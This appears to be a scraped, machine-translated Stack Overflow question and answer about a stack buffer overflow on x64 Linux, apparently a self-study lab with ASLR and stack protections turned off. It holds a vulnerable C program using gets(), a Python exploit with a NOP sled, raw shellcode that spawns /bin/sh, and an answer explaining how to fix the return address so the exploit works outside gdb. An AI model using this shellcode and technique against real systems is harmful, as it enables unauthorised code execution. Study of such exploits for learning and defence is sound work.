简体   繁体   English

x64 linux 上的 Shellcode 注入

[英]Shellcode injection on x64 linux

I'm facing a problem while trying to inject shellcode into a program through a buffer overflow on a 64bit.我在尝试通过 64 位上的缓冲区溢出将 shellcode 注入程序时遇到问题。 I already disabled ASLR and compiled without stack cookies and with execstack.我已经禁用了 ASLR 并在没有堆栈 cookies 和 execstack 的情况下编译。

// vuln.c
#include <stdio.h>

void vuln()
{
        printf("Give me something to worry about...\n");

        char buf[500];
        gets(buf);

        printf("No root shell for you...\n");
}

int main()
{
    vuln();
}
# exp.py
from struct import pack

payload_len = 520
nop = "\x90"*300
# Address in the middle of the nop stack
rip = 0x7fffffffdf4c

buf = ""
buf += "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
buf += "\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
buf += "\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"

buf_len = len(buf)
nop_len = len(nop)
padding = "A"*(payload_len-nop_len-buf_len)

payload = nop + buf + padding + pack("<Q", rip)

print payload

Basically the exploit only works while running in gdb (I'm able to start a shell) but not on the command line.基本上,该漏洞利用仅在 gdb(我能够启动 shell)中运行时有效,但在命令行上无效。 I figured it could be because a closed pipe so I tried the cat trick by doing (python exp.py; cat) |./vuln but it didn't help.我认为这可能是因为封闭的 pipe 所以我尝试了 cat 技巧(python exp.py; cat) |./vuln但它没有帮助。 Obviously doing the exploit in gdb doesn't allow to escalate privileges.显然,在 gdb 中进行利用不允许提升权限。 Does someone know what I'm doing wrong?有人知道我做错了什么吗?

Thanks in advance.提前致谢。

Apparently the address I got with gdb ( rip = 0x7fffffffdf4c ) was too close to the beginning of the buffer and when executing from the command line execution was redirected to invalid memory (I guess the stack was shifted down slightly compared to executing using gdb).显然,我使用 gdb ( rip = 0x7fffffffdf4c ) 获得的地址太靠近缓冲区的开头,并且当从命令行执行时被重定向到无效的 memory (我猜与使用 gdb 执行相比,堆栈略微向下移动)。 By choosing an address further down in the NOP slide everything works as expected.通过在 NOP 幻灯片中选择一个地址,一切都按预期工作。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM